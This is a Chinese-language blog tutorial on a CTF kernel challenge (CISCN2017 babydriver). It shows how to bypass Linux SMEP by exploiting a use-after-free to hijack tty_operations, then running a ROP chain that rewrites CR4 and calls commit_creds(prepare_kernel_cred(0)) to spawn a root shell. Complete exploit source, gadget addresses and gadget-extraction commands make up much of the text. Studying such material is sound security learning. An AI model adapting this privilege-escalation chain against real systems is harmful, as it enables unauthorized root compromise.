Linux kernel pwn (四): Bypass SMEP
前言
在我的這一篇博文介紹UAF的時候用到的是babydriver那一道題,那篇博文介紹的利用手法是修改cred從而get到root許可權。但是除了這一種手法以外,我們還有另外一種手法:繞過SMEP保護,然後利用ROP。
前置知識
SMEP
smep的全稱是Supervisor Mode Execution Protection,它是核心的一種保護機制,作用是當CPU處於ring0模式的時候,如果執行了使用者空間的程式碼就會觸發頁錯誤,很明現這個保護機制就是為了防止ret2usr攻擊的。
一般遇到核心pwn的時候,可以檢視我們的啟動檔案有沒有開啟我們的SMEP保護:
linux_one@linux-one-PC:~/baby$ grep smep ./boot.sh qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep -gdb tcp::1234
smep 和 CR4 暫存器
系統根據 CR4 暫存器的值判斷是否開啟 smep 保護,當 CR4 暫存器的第 20 位是 1 時,保護開啟;是 0 時,保護關閉。
例如,當
$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000
時,smep 保護開啟。而 CR4 暫存器是可以通過 mov 指令修改的,因此只需要
mov cr4, 0x1407e0
# 0x1407e0 = 101 0 0000 0011 1111 00000
即可關閉 smep 保護。
ptmx && tty_struct && tty_operations
ptmx裝置是tty裝置的一種,當使用open函式開啟時,通過系統呼叫進入核心,建立新的檔案結構體,並執行驅動裝置自實現的open函式。
具體細節可以參考:
當一個使用者對這個tty驅動被分配的裝置節點呼叫open時tty核心使用一個指向分配給這個裝置的tty_struct結構的指標呼叫它,也就是說我們在呼叫了open函數了之後會建立一個tty_struct結構體,然而最關鍵的是這個tty_struct也是通過kmalloc申請出來的一個堆空間,而kmalloc與UAF這篇博文講的slab/slub分配器有關。也就是說,這個tty_struct可以被我們所控制。
下面是關於tty_struct結構體的一部分原始碼:
// Linux-4.19.65-source/include/linux/tty.h /* * Where all of the state associated with a tty is kept while the tty * is open. Since the termios state should be kept even if the tty * has been closed --- for things like the baud rate, etc --- it is * not stored here, but rather a pointer to the real state is stored * here. Possible the winsize structure should have the same * treatment, but (1) the default 80x24 is usually right and (2) it's * most often used by a windowing system, which will set the correct * size each time the window is created or resized anyway. * - TYT, 9/14/92 */ struct tty_operations; struct tty_struct { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; int index; /* Protects ldisc changes: Lock tty not pty */ struct ld_semaphore ldisc_sem; struct tty_ldisc *ldisc; struct mutex atomic_write_lock; struct mutex legacy_mutex; struct mutex throttle_mutex; struct rw_semaphore termios_rwsem; struct mutex winsize_mutex; spinlock_t ctrl_lock; spinlock_t flow_lock; /* Termios values are protected by the termios rwsem */ struct ktermios termios, termios_locked; struct termiox *termiox; /* May be NULL for unsupported */ char name[64]; struct pid *pgrp; /* Protected by ctrl lock */ struct pid *session; unsigned long flags; int count; struct winsize winsize; /* winsize_mutex */ unsigned long stopped:1, /* flow_lock */ flow_stopped:1, unused:BITS_PER_LONG - 2; int hw_stopped; unsigned long ctrl_status:8, /* ctrl_lock */ packet:1, unused_ctrl:BITS_PER_LONG - 9; unsigned int receive_room; /* Bytes free for queue */ int flow_change; struct tty_struct *link; struct fasync_struct *fasync; wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work; void *disc_data; void *driver_data; spinlock_t files_lock; /* protects tty_files list */ struct list_head tty_files; #define N_TTY_BUF_SIZE 4096 int closing; unsigned char *write_buf; int write_cnt; /* If the tty has a pending do_SAK, queue it here - akpm */ struct work_struct SAK_work; struct tty_port *port; } __randomize_layout;
而在這個結構體中,其中有另一個很有趣的結構體 tty_operations,原始碼如下:
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
可以看到,裡面全是函式指標。
由於tty_struct是通過kzmalloc分配堆記憶體的,那麼也可以通過UAF控制到這個結構體,進而偽造tty_operations結構體,劫持函式呼叫:
fake_tty_struct fake_tty_operations
+---------+ +----------+
|magic | +-->|evil 1 |
+---------+ | +----------+
|...... | | |evil 2 |
|...... | | +----------+
+---------+ | |evil 3 |
|*ops |--+ +----------+
+---------+ |evil 4 |
|...... | +----------+
|...... | |...... |
+---------+ +----------+
那麼我們就可以通過不同的操作(如 write, ioctl 等)來跳轉到不同的 evil 了。
利用思路
因為此題沒有開kaslr保護,所以簡化了我們一些步驟,但是在此方法中是我們前面的UAF,ROP和ret2usr的綜合利用,下面是基本思路:
- 利用UAF漏洞,去控制利用tty_struct結構體的空間,修改真實的tty_operations的地址到我們構造的tty_operations;
- 構造一個tty_operations,修改其中的write函式為我們的rop;
- 利用修改的write函式來劫持程式流;
但是其中需要解決的一個問題是,我們並沒有控制到棧,所以在rop的時候需要想辦法進行棧轉移。
這裡引用師兄的一個做法:
用如下程式碼作測試,將tty_struct->tty_fops->write函式的指標改寫為babyread的地址,最後通過write(fd_tty, *, *)來呼叫到babyread。
//gcc -static -masm=intel -g -o exp2 exp2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
size_t fake_tty_operations[0x20] = {0};
size_t fake_tty_struct[4] = {0};
int main(){
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
// change the babydev_struct.device_buf
// the buf_size = sizeof(struct tty_struct)
ioctl(fd1, 0x10001, 0x2e0);
// call babyrelease(), now we have a dangling pointer in fd2
close(fd1);
int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
read(fd2, fake_tty_struct, 0x18);
for(int i=0; i<0x20; i++) fake_tty_operations[i] = 0xffffffffffff0000+i ;
fake_tty_operations[7] = 0xffffffffc0000130; // tty_fops->write = babyread
fake_tty_struct[3] = (size_t)fake_tty_operations;// fake_struct->tty_fops = fake_tty_operations
write(fd2, fake_tty_struct, 0x20); // overwrite tty_struct
write(fd_tty, fake_tty_operations, 0x20); // call tty_fops->write
}
/*
babydriver.ko 0xffffffffc0000000
*/
gdb除錯,在我們的babyread函式下斷點,在第二次呼叫時停下檢視此時的暫存器情況;發現這時候的RAX是我們的fake_tty_operations結構的地址,
然後通過棧回溯,發現函式的跳轉是通過RAX作為基地址加上偏移所得到的:[rax+offset]
所以,我們可以利用 mov rsp, rax等gadget等gadget將棧遷移到fake_tty_operations這裡,然後繼續執行我們構造好的ROP。
gadget的提取
構造ROP鏈就需要gadget。這裡的題目沒有給到vmlinux,所以我們需要自己利用extract-vmlinux 提取:
./extract-vmlinux.sh ./bzImage > ./vmlinux
然後利用ropper或者ROPgadget這個東西去提取我們需要的gadget:
ropper -f ./vmlinux > ./gadget 或者 ROPgadget --binary ./vmlinux > gadget.txt
cat ./gadget.txt | grep "mov cr4"
最終EXP
//CISCN2017-babydriver
//sunxiaokong
//gcc -static -masm=intel -g -o exp2 exp2.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
void get_usr_regs();
int get_kernel_addr();
void root();
void getshell();
size_t usr_cs, usr_ss, usr_rsp, usr_rflags; // registers of user mode
size_t fake_tty_operations[0x20];
size_t fake_tty_struct[4];
size_t rop_chain[20];
size_t commit_creds;
size_t prepare_kernel_cred;
int main(){
get_usr_regs();
get_kernel_addr();
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
// change the babydev_struct.device_buf
// the buf_size = sizeof(struct tty_struct)
ioctl(fd1, 0x10001, 0x2e0);
// call babyrelease(), now we have a dangling pointer in fd2
close(fd1);
int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
read(fd2, fake_tty_struct, 0x40);
fake_tty_struct[3] = (size_t)fake_tty_operations;// fake_struct->tty_fops = fake_tty_operations
for(int i=0; i<30; i++) fake_tty_operations[i] = 0xffffffff8181bfc5;;
fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
// fake_tty_operations[7] = 0xffffffff817a4aba; // push rax; pop rsp; pop rbp ; ret
fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax ; ret
fake_tty_operations[1] = (size_t)rop_chain;
fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
fake_tty_operations[3] = (size_t)rop_chain;
int i = 0;
rop_chain[i++] = 0xffffffff810d238d; // pop rdi ; ret
rop_chain[i++] = 0x6f0; // SMEP = 0
rop_chain[i++] = 0xffffffff81004d80; //mov cr4, rdi ; pop rbp ; ret
rop_chain[i++] = (size_t)rop_chain;
rop_chain[i++] = (size_t)root;
rop_chain[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop_chain[i++] = 0;
rop_chain[i++] = 0xffffffff814e35ef; // iretq; ret;
rop_chain[i++] = (size_t)getshell;
rop_chain[i++] = usr_cs; /* saved CS */
rop_chain[i++] = usr_rflags; /* saved EFLAGS */
rop_chain[i++] = usr_rsp;
rop_chain[i++] = usr_ss;
write(fd2, fake_tty_struct, 0x20); // overwrite tty_struct
char buf[8] = {0};
write(fd_tty, buf, 8); // call tty_fops->write
}
/* save some regs of user mode */
void get_usr_regs(){
__asm__(
"mov usr_cs, cs;"
"mov usr_ss, ss;"
"mov usr_rsp, rsp;"
"pushfq;"
"pop usr_rflags;"
);
printf("[^.^] save regs of user mode, done !!!\n");
}
int get_kernel_addr(){
char *buf = (char *)malloc(0x50);
FILE *kallsyms = fopen("/proc/kallsyms", "r");
while(fgets(buf, 0x50, kallsyms)){
// fgets:read one line at one time
if(strstr(buf, "prepare_kernel_cred")){
sscanf(buf, "%lx", &prepare_kernel_cred);
printf("[^.^] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
}
if(strstr(buf, "commit_creds")){
sscanf(buf, "%lx", &commit_creds);
printf("[^.^] commit_creds : 0x%lx\n", commit_creds);
}
if(commit_creds && prepare_kernel_cred){
return 0;
}
}
}
void root(){
(*((void (*)(char *))commit_creds))(
(*((char* (*)(int))prepare_kernel_cred))(0)
);
}
void getshell(){
system("/bin/sh");
}
/*
babydriver.ko 0xffffffffc0000000
0xffffffff814dc0c3 : call [rax+offset]
0xffffffff810539b1 : pop rax ; xchg eax, esp ; retf
retf = pop rip; pop cs
0xffffffff81004d80 : mov cr4, rdi ; pop rbp ; ret
0xffffffff810d238d : pop rdi ; ret
0xffffffff8100ce6e : pop rax ; ret
0xffffffff81171045 : pop rsp ; ret
0xffffffff81020f11 : push rax ; ret
0xffffffff8181bfc5 mov rsp,rax ; dec ebx ; ret
0xffffffff817a4aba : push rax ; adc byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
0xffffffff814ff52b : push rax ; or byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
*/
參考
https://www.sunxiaokong.xyz/2020-02-14/lzx-bypass-babysmep/
https://bbs.pediy.com/thread-253455.htm
http://p4nda.top/2018/10/11/ciscn-2017-babydriver/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/bypass_smep-zh/